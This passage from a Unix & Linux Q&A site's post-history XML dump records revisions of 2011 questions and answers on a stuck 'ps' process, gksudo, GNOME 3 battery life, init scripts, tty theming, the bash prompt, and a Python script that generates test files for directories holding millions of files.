  <row Id="26593" PostHistoryTypeId="3" PostId="10979" RevisionGUID="7638844d-25f0-45d7-8c59-242015df8ad8" CreationDate="2011-04-09T21:05:03.037" UserId="305" Text="élinuxàégnomeàésuàépamàégnomeöshellà" />
  <row Id="26595" PostHistoryTypeId="25" PostId="10976" RevisionGUID="823ab153-0316-4c8b-a39b-d6771a211d3a" CreationDate="2011-04-09T21:09:05.713" Comment="http://twitter.com/#!/StackUnix/status/56825986490187776" />
  <row Id="26596" PostHistoryTypeId="2" PostId="10980" RevisionGUID="e79b9f72-85b3-4e8c-8f2d-b500c4042f5c" CreationDate="2011-04-09T21:09:05.990" UserId="5192" Text="Issue beginning - Few of my PID consume 100% cpu, I want to understand which script is executing that PID command.&#xD;&#xA;&#xD;&#xA;My debugging steps:&#xD;&#xA;&#xD;&#xA;strace ps -ef&#xD;&#xA;&#xD;&#xA;open(&quot;/proc/PID/status&quot;, O_RDONLY) = 6 read(6, &quot;Name:\textract\nState:\tR (running)&quot;..., 1023) = 1023 close(6) = 0 open(&quot;/proc/PID/cmdline&quot;, O_RDONLY) = 6 read(6,&#xD;&#xA;&#xD;&#xA;So it gets stuck trying to open /proc/PID/cmdline&#xD;&#xA;&#xD;&#xA;I tried catting that, it got stuck again&#xD;&#xA;&#xD;&#xA;Something is obviously screwed in the kernel, please let me know your suggestions or next debugging steps&#xD;&#xA;&#xD;&#xA;Notes: shutdown doesn't work, if I shutdown manually the problem starts again.&#xD;&#xA;&#xD;&#xA;ps: Because of my reputation, I am unable to chat. Please feel free to ask output of any suggested commands, I will paste it ASAP!&#xD;&#xA;" />
  <row Id="26597" PostHistoryTypeId="1" PostId="10980" RevisionGUID="e79b9f72-85b3-4e8c-8f2d-b500c4042f5c" CreationDate="2011-04-09T21:09:05.990" UserId="5192" Text="Suggestions needed to debug why ps -ef gets stuck" />
  <row Id="26598" PostHistoryTypeId="3" PostId="10980" RevisionGUID="e79b9f72-85b3-4e8c-8f2d-b500c4042f5c" CreationDate="2011-04-09T21:09:05.990" UserId="5192" Text="élinuxàékernelàésuseà" />
  <row Id="26599" PostHistoryTypeId="2" PostId="10981" RevisionGUID="9a6e09e1-4579-4b7e-b01b-48fb6e0135d9" CreationDate="2011-04-09T21:27:14.350" UserId="6246" Text="Since GNOME 3 uses hardware acceleration by default, I assume that it will be worse for battery life on my laptop, but I can't actually find anything to back this up, and by how much. Has anyone done benchmarks of this yet?&#xD;&#xA;&#xD;&#xA;I really like the interface but I don't want to kill my battery life by upgrading (and I'm on a distro where it would be difficult to go back)." />
  <row Id="26600" PostHistoryTypeId="1" PostId="10981" RevisionGUID="9a6e09e1-4579-4b7e-b01b-48fb6e0135d9" CreationDate="2011-04-09T21:27:14.350" UserId="6246" Text="How does battery life on a laptop compare between GNOME 2 and GNOME 3 (GNOME Shell)?" />
  <row Id="26601" PostHistoryTypeId="3" PostId="10981" RevisionGUID="9a6e09e1-4579-4b7e-b01b-48fb6e0135d9" CreationDate="2011-04-09T21:27:14.350" UserId="6246" Text="égnomeöshellà" />
  <row Id="26602" PostHistoryTypeId="2" PostId="10982" RevisionGUID="c04cf388-7204-4a3e-a040-d76bb0ebdc51" CreationDate="2011-04-09T21:39:14.543" UserId="5535" Text="You can use *gksu* and *gksudo* in Gnome to have a password prompt window presented. I believe that under Gnome the gksu(do) prompt windows are protected from focus stealing.&#xD;&#xA;" />
  <row Id="26604" PostHistoryTypeId="6" PostId="10976" RevisionGUID="859a0a14-1a65-44ef-8e0b-876a49b49987" CreationDate="2011-04-09T21:43:03.567" UserId="885" Comment="edited tags" Text="écommandölineàédebianàéphpàéreadlineà" />
  <row Id="26605" PostHistoryTypeId="2" PostId="10983" RevisionGUID="2a7ff0e0-7dfc-42d6-9a47-39f7f94c8e84" CreationDate="2011-04-09T21:49:05.597" UserId="5535" Text="The YUMonCD page you linked to provides RPM packages, why not use those?" />
  <row Id="26606" PostHistoryTypeId="5" PostId="10980" RevisionGUID="7aeade66-26d0-4ce1-ab06-d0af6f1d1708" CreationDate="2011-04-09T21:50:48.050" UserId="885" Comment="formatting; grammar" Text="Issue beginning - A few of my processes consume 100% cpu, I want to understand which script is executing that command.&#xD;&#xA;&#xD;&#xA;My debugging steps: `strace ps -ef`&#xD;&#xA;&#xD;&#xA;    open(&quot;/proc/PID/status&quot;, O_RDONLY) = 6&#xD;&#xA;    read(6, &quot;Name:\textract\nState:\tR (running)&quot;..., 1023) = 1023&#xD;&#xA;    close(6) = 0&#xD;&#xA;    open(&quot;/proc/PID/cmdline&quot;, O_RDONLY) = 6 read(6,&#xD;&#xA;&#xD;&#xA;So it gets stuck trying to open `/proc/PID/cmdline`. I tried catting that, it got stuck again.&#xD;&#xA;&#xD;&#xA;Something is obviously screwed in the kernel, please let me know your suggestions or next debugging steps.&#xD;&#xA;&#xD;&#xA;Note: rebooting doesn't work, if I shutdown manually the problem starts again.&#xD;&#xA;&#xD;&#xA;PS: Because of my reputation, I am unable to chat. Please feel free to ask output of any suggested commands, I will paste it ASAP!&#xD;&#xA;" />
  <row Id="26607" PostHistoryTypeId="6" PostId="10980" RevisionGUID="7aeade66-26d0-4ce1-ab06-d0af6f1d1708" CreationDate="2011-04-09T21:50:48.050" UserId="885" Comment="formatting; grammar" Text="élinuxàéprocessàésuseàétroubleshootingà" />
  <row Id="26608" PostHistoryTypeId="5" PostId="10982" RevisionGUID="6ea20967-2372-470f-b160-8698ae61317a" CreationDate="2011-04-09T22:05:18.420" UserId="5535" Comment="Explain usage of commands and markup tweaks" Text="You can use `gksu` and `gksudo` in Gnome to have a password prompt window presented. I believe that under Gnome the gksu(do) prompt windows are protected from focus stealing.&#xD;&#xA;&#xD;&#xA;You use gksu(do) in the same way you use su(do):&#xD;&#xA;&#xD;&#xA;`gksudo apt-get update`&#xD;&#xA;&#xD;&#xA;`gksu Bob`" />
  <row Id="26609" PostHistoryTypeId="2" PostId="10984" RevisionGUID="aa3027ed-9a21-4b3f-b166-58efb6371ae1" CreationDate="2011-04-09T22:07:32.443" UserId="6437" Text="Install kdebase3-session package." />
  <row Id="26610" PostHistoryTypeId="5" PostId="10980" RevisionGUID="521069ea-ca8b-44ab-a1e6-322c5b652e0c" CreationDate="2011-04-09T23:00:48.637" UserId="5192" Comment="added 46 characters in body; added 9 characters in body" Text="Issue beginning - A few of my processes consume 100% cpu, I want to understand which script is executing that command.&#xD;&#xA;&#xD;&#xA;My debugging steps: `strace ps -ef`&#xD;&#xA;&#xD;&#xA;    open(&quot;/proc/PID/status&quot;, O_RDONLY) = 6&#xD;&#xA;    read(6, &quot;Name:\textract\nState:\tR (running)&quot;..., 1023) = 1023&#xD;&#xA;    close(6) = 0&#xD;&#xA;    open(&quot;/proc/PID/cmdline&quot;, O_RDONLY) = 6 read(6,&#xD;&#xA;&#xD;&#xA;So it gets stuck trying to open `/proc/PID/cmdline`. I tried catting that, it got stuck again.&#xD;&#xA;&#xD;&#xA;Something is obviously screwed in the kernel, please let me know your suggestions or next debugging steps.&#xD;&#xA;&#xD;&#xA;Note: rebooting doesn't work, if I shutdown manually the problem starts again.&#xD;&#xA;&#xD;&#xA;PS: Because of my reputation, I am unable to chat. Please feel free to ask output of any suggested commands, I will paste it ASAP!&#xD;&#xA;&#xD;&#xA;SUSE Linux Enterprise Server 11 (x86_64)&#xD;&#xA;2.6.27.19&#xD;&#xA;" />
  <row Id="26611" PostHistoryTypeId="25" PostId="10979" RevisionGUID="c3b187ce-4ba7-45ef-9b35-0e9ac412e59b" CreationDate="2011-04-10T00:09:06.113" Comment="http://twitter.com/#!/StackUnix/status/56871287468994560" />
  <row Id="26612" PostHistoryTypeId="2" PostId="10985" RevisionGUID="99a9d4bb-2e02-44e4-8548-1ced502d4e2a" CreationDate="2011-04-10T00:11:29.403" UserId="6256" Text="hi, i'm just moved to linux world in ubuntu 10.10. i'm using it for normal life, internet and social networks, multimedia enterainement like musics and movie, a bit of coding with c and python..&#xD;&#xA;&#xD;&#xA;i've just learned something about run levels and about **init** and **service** command line tools. i understand they are powerful tools and contribute to set up the architecture and a solid base of the entire system.&#xD;&#xA;&#xD;&#xA;but i don't undesrtand how they can cross my normal life and where i can use it, if i have to learn about it in a deep way or if a can only know that they exists but probabilly i will never touch them." />
  <row Id="26613" PostHistoryTypeId="1" PostId="10985" RevisionGUID="99a9d4bb-2e02-44e4-8548-1ced502d4e2a" CreationDate="2011-04-10T00:11:29.403" UserId="6256" Text="how can 'init' and 'service' command can cross normal-user life?" />
  <row Id="26614" PostHistoryTypeId="3" PostId="10985" RevisionGUID="99a9d4bb-2e02-44e4-8548-1ced502d4e2a" CreationDate="2011-04-10T00:11:29.403" UserId="6256" Text="éubuntuàéinitöscriptàélearningà" />
  <row Id="26615" PostHistoryTypeId="5" PostId="10985" RevisionGUID="5e8c9e34-ae21-4d64-bf32-af0d4b506c00" CreationDate="2011-04-10T00:18:08.030" UserId="6256" Comment="added 71 characters in body" Text="hi, i'm just moved to linux world in ubuntu 10.10. i'm using it for normal life, internet and social networks, multimedia enterainement like musics and movie, a bit of coding with c and python..&#xD;&#xA;&#xD;&#xA;i've just learned something about run levels and about **init** and **service** command line tools. i understand they are powerful tools and contribute to set up the architecture and a solid base of the entire system. (is this an antiquate model? possible evolutions? alternative models?)&#xD;&#xA;&#xD;&#xA;but i don't undesrtand how they can cross my normal life and where i can use it, if i have to learn about it in a deep way or if a can only know that they exists but probabilly i will never touch them." />
  <row Id="26616" PostHistoryTypeId="2" PostId="10986" RevisionGUID="bb11046d-3dbf-4eb6-a173-a9363403b139" CreationDate="2011-04-10T00:32:56.203" UserId="3082" Text="They are used to start (initialize) the system and bring up servers. As a normal user you shouldn't have to worry about them. If you want to also turn you machine into, say, an HTTP (web) server you would have to deal with it. Different distros do that differently, however. Many at least have a `service` command to start and stop them.  " />
  <row Id="26617" PostHistoryTypeId="2" PostId="10987" RevisionGUID="73dd0c2e-a861-465b-8c4a-11afd4d2a6ba" CreationDate="2011-04-10T01:54:43.313" UserId="6439" Text="Hello fellow unix/linux/bsd users, I have tried openSUSE and found that the boot is a bit different as each tty has a theme. So now that I have seen that I am curious on how exactly they have done it.&#xD;&#xA;###openSUSE Gnome3/shell liveCD works.&#xD;&#xA;When you boot, you get a nice splash image, if you press [Esc] you keep the background image and get the status of the boot. (To take a guess on how long it should take to boot) So you have a nice background on tty1.&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done on Debian-(stable|testing)?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###How easy is it to do on kFreeBSD Debian?&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;###Why do I want to do this?&#xD;&#xA;I love how on April fools several Linux distribution websites all give you the Canterbury Project. So I have been inspired to attempt it, I know it will be quite hard, so that is why I'm doing some research on each of these distributions to see how they have done a few things, and how I can bring them into my own Canterbury-like project. Okay the project is too big for me alone so that's why its an attempt for a project that will probably not even get a blog, but its too early to know now. The main reason on why I am attempting this is so I as a developer can learn and gain more experience in the areas in which I'm a bit new in. When/if I get a stable system I will use it on my home computers and if I feel it is good enough I would upload the liveCDs (or pre-installed images) on a debian/opensuse/arch/etc forum as a response to the April fools joke. Okay I know that kFreeBSD is not a part of the Canterbury joke but as its open minded as openSUSE and stable as Debian it would not hurt to have a bsd-based kernel." />
  <row Id="26618" PostHistoryTypeId="1" PostId="10987" RevisionGUID="73dd0c2e-a861-465b-8c4a-11afd4d2a6ba" CreationDate="2011-04-10T01:54:43.313" UserId="6439" Text="openSUSE tty background images for debian?" />
  <row Id="26619" PostHistoryTypeId="3" PostId="10987" RevisionGUID="73dd0c2e-a861-465b-8c4a-11afd4d2a6ba" CreationDate="2011-04-10T01:54:43.313" UserId="6439" Text="édebianàébootàéopensuseàéttyàéinità" />
  <row Id="26620" PostHistoryTypeId="5" PostId="10987" RevisionGUID="acf2a105-e7fc-424b-b4ec-aab7997cf04f" CreationDate="2011-04-10T02:00:34.213" UserId="6439" Comment="added 75 characters in body" Text="Hello fellow unix/linux/bsd users, I have tried openSUSE and found that the boot is a bit different as each tty has a theme. So now that I have seen that I am curious on how exactly they have done it.&#xD;&#xA;###openSUSE Gnome3/shell liveCD works.&#xD;&#xA;When you boot, you get a nice splash image, if you press [Esc] you keep the background image and get the status of the boot. (To take a guess on how long it should take to boot) So you have a nice background on tty1.&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done on Debian-(stable|testing)?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###How easy is it to do on kFreeBSD Debian?&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;###Why do I want to do this?&#xD;&#xA;I love how on April fools several Linux distribution websites all give you the Canterbury Project. So I have been inspired to attempt it, I know it will be quite hard, so that is why I'm doing some research on each of these distributions to see how they have done a few things, and how I can bring them into my own Canterbury-like project. Okay the project is too big for me alone so that's why its an attempt for a project that will probably not even get a blog, but its too early to know now. The main reason on why I am attempting this is so I as a developer can learn and gain more experience in the areas in which I'm a bit new in. When/if I get a stable system I will use it on my home computers and if I feel it is good enough I would upload the liveCDs (or pre-installed images) on a debian/opensuse/arch/etc forum as a response to the April fools joke. Okay I know that kFreeBSD is not a part of the Canterbury joke but as its open minded as openSUSE and stable as Debian it would not hurt to have a bsd-based kernel. Okay kFreeBSD would be just an idea, so most likely would not be included." />
  <row Id="26621" PostHistoryTypeId="5" PostId="10987" RevisionGUID="4e845264-7ba3-4c37-aa8c-ab1f9edd5536" CreationDate="2011-04-10T02:07:50.400" UserId="6439" Comment="added 7 characters in body" Text="Hello fellow unix/linux/bsd users, I have tried openSUSE and found that the boot is a bit different as each tty has a theme. So now that I have seen that I am curious on how exactly they have done it.&#xD;&#xA;###openSUSE Gnome3/shell liveCD works.&#xD;&#xA;When you boot, you get a nice splash image, if you press [Esc] you keep the background image and get the status of the boot. (To take a guess on how long it should take to boot) So you have a nice background on tty1.&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done on Debian-(stable|testing)?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###How easy is it to do on kFreeBSD Debian?&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;###Why do I want to do this?&#xD;&#xA;I really like how on April fools several Linux distribution websites all give you the Canterbury Project. So I have been inspired to attempt it, I know it will be quite hard, so that is why I'm doing some research on each of these distributions to see how they have done a few things, and how I can bring them into my own Canterbury-like project. Okay the project is too big for me alone so that's why its an attempt for a project that will probably not even get a blog, but its too early to know now. The main reason on why I am attempting this is so I as a developer can learn and gain more experience in the areas in which I'm a bit new in. When/if I get a stable system I will use it on my home computers and if I feel it is good enough I would upload the liveCDs (or pre-installed images) on a debian/opensuse/arch/etc forum as a response to the April fools joke. Okay I know that kFreeBSD is not a part of the Canterbury joke but as its open minded as openSUSE and stable as Debian it would not hurt to have a bsd-based kernel. Okay kFreeBSD would be just an idea, so most likely would not be included." />
  <row Id="26622" PostHistoryTypeId="5" PostId="10987" RevisionGUID="f7060565-11ee-4053-8c39-5aa19ba087da" CreationDate="2011-04-10T02:19:50.700" UserId="6439" Comment="added 321 characters in body; added 2 characters in body" Text="Hello fellow unix/linux/bsd users, I have tried openSUSE and found that the boot is a bit different as each tty has a theme. So now that I have seen that I am curious on how exactly they have done it.&#xD;&#xA;###openSUSE Gnome3/shell liveCD works.&#xD;&#xA;When you boot, you get a nice splash image, if you press [Esc] you keep the background image and get the status of the boot. (To take a guess on how long it should take to boot) So you have a nice background on tty1.&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done on Debian-(stable|testing)?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###How easy is it to do on kFreeBSD Debian?&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;###So why exactly do I want to know how to deal with tty themes?&#xD;&#xA;I really like how on April fools several Linux distribution websites all give you the Canterbury Project. So I have been inspired to attempt it, I know it will be quite hard, so that is why I'm doing some research on each of these distributions to see how they have done a few things, and how I can bring them into my own Canterbury-like project. Okay the project is too big for me alone so that's why its an attempt for a project that will probably not even get a blog, but its too early to know now. The main reason on why I am attempting this is so I as a developer can learn and gain more experience in the areas in which I'm a bit new in. When/if I get a stable system I will use it on my home computers and if I feel it is good enough I would upload the liveCDs (or pre-installed images) on a debian/opensuse/arch/etc forum as a response to the April fools joke. Okay I know that kFreeBSD is not a part of the Canterbury joke but as its open minded as openSUSE and stable as Debian it would not hurt to have a bsd-based kernel. Okay kFreeBSD would be just an idea, so most likely would not be included.&#xD;&#xA;###What my version of the Canterbury-like project would have pre-installed:&#xD;&#xA;- Custom tty theme&#xD;&#xA;- Systemd&#xD;&#xA;- Gnome-3&#xD;&#xA;- Firefox-4&#xD;&#xA;- Commandline tools&#xD;&#xA; - irssi&#xD;&#xA; - lynx&#xD;&#xA;- Most defaults used in Debian, Gentoo, Grml, openSUSE and Arch Linux&#xD;&#xA;&#xD;&#xA;###I'm going to re-word this whole post." />
  <row Id="26623" PostHistoryTypeId="25" PostId="10987" RevisionGUID="b988a1dc-f84b-4f44-96c1-6b40c5186f7b" CreationDate="2011-04-10T03:09:05.743" Comment="http://twitter.com/#!/StackUnix/status/56916584257687552" />
  <row Id="26624" PostHistoryTypeId="2" PostId="10988" RevisionGUID="4e458ffb-a3d7-4e2a-b77f-a11e55d16957" CreationDate="2011-04-10T03:31:52.500" UserId="6442" Text="When I ssh as root to a remote machine, the command output looks like this:&#xD;&#xA;&#xD;&#xA;    root@Machine:/current/path#:&#xD;&#xA;&#xD;&#xA;However, if it's a non-root user, all I see is:&#xD;&#xA;&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;How can I get the same behavior as for the root user? Why is it different?" />
  <row Id="26625" PostHistoryTypeId="1" PostId="10988" RevisionGUID="4e458ffb-a3d7-4e2a-b77f-a11e55d16957" CreationDate="2011-04-10T03:31:52.500" UserId="6442" Text="ssh behavior for root and non-root user" />
  <row Id="26626" PostHistoryTypeId="3" PostId="10988" RevisionGUID="4e458ffb-a3d7-4e2a-b77f-a11e55d16957" CreationDate="2011-04-10T03:31:52.500" UserId="6442" Text="écommandölineàésshà" />
  <row Id="26627" PostHistoryTypeId="5" PostId="10066" RevisionGUID="1cd4733c-d51e-4ad1-853e-70630e4d82a2" CreationDate="2011-04-10T04:03:27.600" UserId="2362" Comment="hopefully getting more quality answers, current answers are unrelated and even wrong" Text="&gt; $ ls&#xD;&#xA;&gt; ./dir_with_huge_amount_of_files/errors/&#xD;&#xA;&#xD;&#xA;Suppose a dir is full of pictures with unix timestamps, I mean a lot measured in many GBs or even more. Shell-commands like `ls` will get overflow-style warnings because they are not designed to work with millions (or more) of pictures. How can I manage such huge amount of files? If I for example want to find the picture in the middle (according to timestamp in the name and creation time), is there some fs that offers a built-in search feature? Which commands would you use? I tried the comfortable `ls` and `find` with necessary flags but they were either very slow or warnings so I am thinking that either I need better fs or db or something like that to pre-index the pictures. I basically need one array to which inodes of the photos should be placed in chronological order. How to do that? Later metadata with unix-timestamps could be added.&#xD;&#xA;&#xD;&#xA;**[Update]**&#xD;&#xA;&#xD;&#xA;There is a serious flaw in current answers, people just post sort-of-answers without empirical tests. If they had tested their suggestions, they would prohibitely fail. Hence, I created you a command-line tool by which you can create the sandbox to create the huge amount of files and test your suggestions like with 1e7 amount of files. It can take a long time to generate the files so be patient, if someone knosws quicker way to do this, please edit the code. Type `python code.py --help` to get the help. Have fun!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Usage Example to create a lot of dirred files**&#xD;&#xA;&#xD;&#xA;    $ ls ./data2&#xD;&#xA;    ls: ./data2: No such file or directory&#xD;&#xA;    $ python testFill.py -n 3 -d 7                                                 &#xD;&#xA;    $ tree data2/                                                                  &#xD;&#xA;    data2/&#xD;&#xA;    |-- 0&#xD;&#xA;    |   |-- 1302407302636973&#xD;&#xA;    |   |-- 1302407302638022&#xD;&#xA;    |   `-- 1302407302638829&#xD;&#xA;    |-- 1&#xD;&#xA;    |   |-- 1302407302639604&#xD;&#xA;    |   |-- 1302407302641652&#xD;&#xA;    |   `-- 1302407302642399&#xD;&#xA;    |-- 2&#xD;&#xA;    |   |-- 1302407302643158&#xD;&#xA;    |   |-- 1302407302645223&#xD;&#xA;    |   `-- 1302407302646026&#xD;&#xA;    |-- 3&#xD;&#xA;    |   |-- 1302407302646837&#xD;&#xA;    |   |-- 1302407302649110&#xD;&#xA;    |   `-- 1302407302649944&#xD;&#xA;    |-- 4&#xD;&#xA;    |   |-- 1302407302650771&#xD;&#xA;    |   |-- 1302407302652921&#xD;&#xA;    |   `-- 1302407302653685&#xD;&#xA;    |-- 5&#xD;&#xA;    |   |-- 1302407302654423&#xD;&#xA;    |   |-- 1302407302656352&#xD;&#xA;    |   `-- 1302407302656992&#xD;&#xA;    `-- 6&#xD;&#xA;        |-- 1302407302657652&#xD;&#xA;        |-- 1302407302659543&#xD;&#xA;        `-- 1302407302660156&#xD;&#xA;    &#xD;&#xA;    7 directories, 21 files&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Code testFill.py**&#xD;&#xA;&#xD;&#xA;    # Author: hhh&#xD;&#xA;    # License: ISC license&#xD;&#xA;    &#xD;&#xA;    import os, math, time, optparse, sys&#xD;&#xA;    &#xD;&#xA;    def createHugeAmountOfFiles(fileAmount, dirAmount):&#xD;&#xA;       counter = 0&#xD;&#xA;       DENSITY = 1e7&#xD;&#xA;       dir = &quot;./data/&quot;&#xD;&#xA;       &#xD;&#xA;       do = dir+str(counter)+&quot;/&quot;&#xD;&#xA;       while (os.path.exists(do)):&#xD;&#xA;          counter = counter+1&#xD;&#xA;          do = dir+str(counter)+&quot;/&quot;&#xD;&#xA;    &#xD;&#xA;       os.mkdir(do)&#xD;&#xA;       &#xD;&#xA;       for d in range(int(dirAmount)):&#xD;&#xA;          for f in range(int(fileAmount)):&#xD;&#xA;             timeIt = int(time.time()*1e6)&#xD;&#xA;             if (not os.path.exists(do)):&#xD;&#xA;                os.mkdir(do)&#xD;&#xA;          &#xD;&#xA;             if (timeIt % DENSITY == 0):&#xD;&#xA;                counter = counter+1&#xD;&#xA;                do = dir+str(counter)+&quot;/&quot;&#xD;&#xA;          &#xD;&#xA;                if (not os.path.exists(do)):&#xD;&#xA;                   os.mkdir(do)&#xD;&#xA;          &#xD;&#xA;    &#xD;&#xA;             do = dir+str(counter)+&quot;/&quot;&#xD;&#xA;             if(not os.path.exists(do)):&#xD;&#xA;                os.mkdir(do)&#xD;&#xA;    &#xD;&#xA;             f = open(do+str(timeIt), 'w')&#xD;&#xA;             f.write(&quot;Automatically created file to test Huge amount of files.&quot;)&#xD;&#xA;             f.close()&#xD;&#xA;          counter = counter +1&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    def ls(dir):&#xD;&#xA;       for root, dirs, files in os.walk(&quot;./data/&quot;+dir):&#xD;&#xA;          print(files)&#xD;&#xA;    &#xD;&#xA;    def rm(dir):&#xD;&#xA;       for root, dirs, files in os.walk(&quot;./data/&quot;+dir):&#xD;&#xA;          for f in files:&#xD;&#xA;             os.remove(&quot;./data/&quot;+dir+&quot;/&quot;+f)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    def parseCli():&#xD;&#xA;       parser = optparse.OptionParser()&#xD;&#xA;       parser.add_option(&quot;-f&quot;, &quot;--file&quot;, dest=&quot;filename&quot;,&#xD;&#xA;                         help=&quot;Location to remove files only in ./Data.&quot;, metavar=&quot;FILE&quot;)&#xD;&#xA;       parser.add_option(&quot;-n&quot;, &quot;--number&quot;, dest=&quot;number&quot;,&#xD;&#xA;                         help=&quot;Number of files to generate&quot;, metavar=&quot;NUMBER&quot;)&#xD;&#xA;       parser.add_option(&quot;-r&quot;, &quot;--remove&quot;, dest=&quot;remove&quot;,&#xD;&#xA;                         help=&quot;Data -dir content to remove&quot;, metavar=&quot;NUMBER&quot;)&#xD;&#xA;       parser.add_option(&quot;-d&quot;, &quot;--dir&quot;, dest=&quot;dir&quot;,&#xD;&#xA;                         help=&quot;Amount of dirs to generate&quot;, metavar=&quot;NUMBER&quot;)&#xD;&#xA;       parser.add_option(&quot;-q&quot;, &quot;--quiet&quot;,&#xD;&#xA;                         action=&quot;store_false&quot;, dest=&quot;verbose&quot;, default=True,&#xD;&#xA;                         help=&quot;don't print status messages to stdout&quot;)&#xD;&#xA;     &#xD;&#xA;       return parser.parse_args()&#xD;&#xA;    &#xD;&#xA;    def main():&#xD;&#xA;       (options, args) = parseCli()&#xD;&#xA;    &#xD;&#xA;       if (options.filename):&#xD;&#xA;          ls(options.filename)&#xD;&#xA;       if (options.number and options.dir):&#xD;&#xA;          createHugeAmountOfFiles(options.number, options.dir)&#xD;&#xA;       if (options.remove):&#xD;&#xA;          rm(options.remove)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    main()" />
  <row Id="26628" PostHistoryTypeId="2" PostId="10989" RevisionGUID="81ca0af1-67e9-46b9-83ec-80876d4d4247" CreationDate="2011-04-10T04:16:41.680" UserId="250" Text="The &quot;command output&quot; that you referred to is called &quot;the prompt&quot;. At the end of the prompt usually there is a character (in `bash` usually `#` or `$`) to indicate the end of the prompt and the start of user input. It is different so that you know if you are the root user or not. Generally when you see a `#` at the end of you prompt you know that you are root and should be careful with your commands.&#xD;&#xA;&#xD;&#xA;Controlling the prompt depends on the shell that you use. For `bash` you use the environment variable `PS1` to do so. For example if you run:&#xD;&#xA;&#xD;&#xA;    export PS1='\u@\h \w \$ '&#xD;&#xA;&#xD;&#xA;Your next prompt will change to something like:&#xD;&#xA;&#xD;&#xA;    phunehehe@workstation ~/Desktop $ &#xD;&#xA;&#xD;&#xA;Refer to the PROMPTING section in `man bash` for the format of the PS1 variable. A point of interest to your question:&#xD;&#xA;&#xD;&#xA;    \$     if the effective UID is 0, a #, otherwise a $&#xD;&#xA;&#xD;&#xA;To change the prompt permanently, put the export line in `/etc/profile` (system-wise), or `~/.profile` (user-wise), or something equivalent." />
  <row Id="26629" PostHistoryTypeId="5" PostId="10987" RevisionGUID="f32c3485-d182-4346-a433-c8ab6fdac356" CreationDate="2011-04-10T04:38:45.887" UserId="6439" Comment="added 1059 characters in body; deleted 460 characters in body; added 6 characters in body; deleted 8 characters in body; added 6 characters in body; deleted 10 characters in body" Text="Hello fellow unix/linux/bsd/etc users, I have recently tried out openSUSE and found that the tty1 is a bit different from Debian(-based) systems as the tty has been themed. I know that Knoppix has a tux penguin for each core the computer had, but I'm not sure how I can get a custom tty theme. So it got me thinking how can this be done. Google for some reason is not being friendly with the results, no matter what I try all links that are actually related have no answers. I want to have a tty terminal have a background image. &#xD;&#xA;&#xD;&#xA;###OpenSUSE Gnome-shell liveCD: Example.&#xD;&#xA;When you boot up openSUSE, you see a splash screen (on tty1) so you press [Esc] the splash screen goes away, but you keep the background and the text explaining where we are up to whilst booting. Okay openSUSE have not themed all of the ttys on this liveCD but they have with the stable release.&#xD;&#xA;&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done in Debian stable &amp; testing?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###Can this be done with other kernels such as kFreeBSD?&#xD;&#xA;###What can tty themes do when it comes to styling the terminal?&#xD;&#xA;- Can tty themes set a different background image for each tty?&#xD;&#xA; - If yes how?&#xD;&#xA;- Can a tty theme change the color of the text?&#xD;&#xA;- How are the themes made?&#xD;&#xA; - Do they have a file in which follows a template?&#xD;&#xA;&#xD;&#xA;###So why exactly do I want to do this?&#xD;&#xA;I am planning to make a Debian-based, Canterbury-concept distribution in which I will use on my home computer, if the project gets good enough I may post it as a response to the April fools post they did with the downloads for the live CDs or a pre-installed version of the distribution. So with this system I want to customize it to look good even on the command line. I will host a Debian repository (locally) to host my custom packages to prevent Debian's packages from removing the look and feel with a safe-upgrade. My repository will contain the newest versions of Firefox-four and Gnome-three and some re-branding packages. As there are 5 distributions being the part of the Canterbury-concept-joke ttys 2-6 will be the logos with a description of what that distribution does for the project, while tty1 will contain information on the project its self and how it originated as an April fools joke.&#xD;&#xA;###Other questions:&#xD;&#xA;- Does anyone know how to get systemd to boot on Debian? (I followed the description on the wiki but with no luck)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Edit: Buffer-overflow is what is being used, now how do i use it?&#xD;&#xA;    mplayer -vo fbdev google_main.mp4 # http://youtube.com/demo/google_main.mp4&#xD;&#xA;Mplayer is using buffer-overflow to watch videos on a tty terminal. So how can I make a underlay? (opposite to overlay)" />
  <row Id="26630" PostHistoryTypeId="5" PostId="10987" RevisionGUID="149b72fd-3568-4cc2-b01a-e15637ae1918" CreationDate="2011-04-10T05:02:04.290" UserId="6439" Comment="added 20 characters in body" Text="Hello fellow unix/linux/bsd/etc users, I have recently tried out openSUSE and found that the tty1 is a bit different from Debian(-based) systems as the tty has been themed. I know that Knoppix has a tux penguin for each core the computer had, but I'm not sure how I can get a custom tty theme. So it got me thinking how can this be done. Google for some reason is not being friendly with the results, no matter what I try all links that are actually related have no answers. I want to have a tty terminal have a background image. &#xD;&#xA;&#xD;&#xA;###OpenSUSE Gnome-shell liveCD: Example.&#xD;&#xA;When you boot up openSUSE, you see a splash screen (on tty1) so you press [Esc] the splash screen goes away, but you keep the background and the text explaining where we are up to whilst booting. Okay openSUSE have not themed all of the ttys on this liveCD but they have with the stable release.&#xD;&#xA;&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done in Debian stable &amp; testing?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###Can this be done with other kernels such as kFreeBSD?&#xD;&#xA;###What can tty themes do when it comes to styling the terminal?&#xD;&#xA;- Can tty themes set a different background image for each tty?&#xD;&#xA; - If yes how?&#xD;&#xA;- Can a tty theme change the color 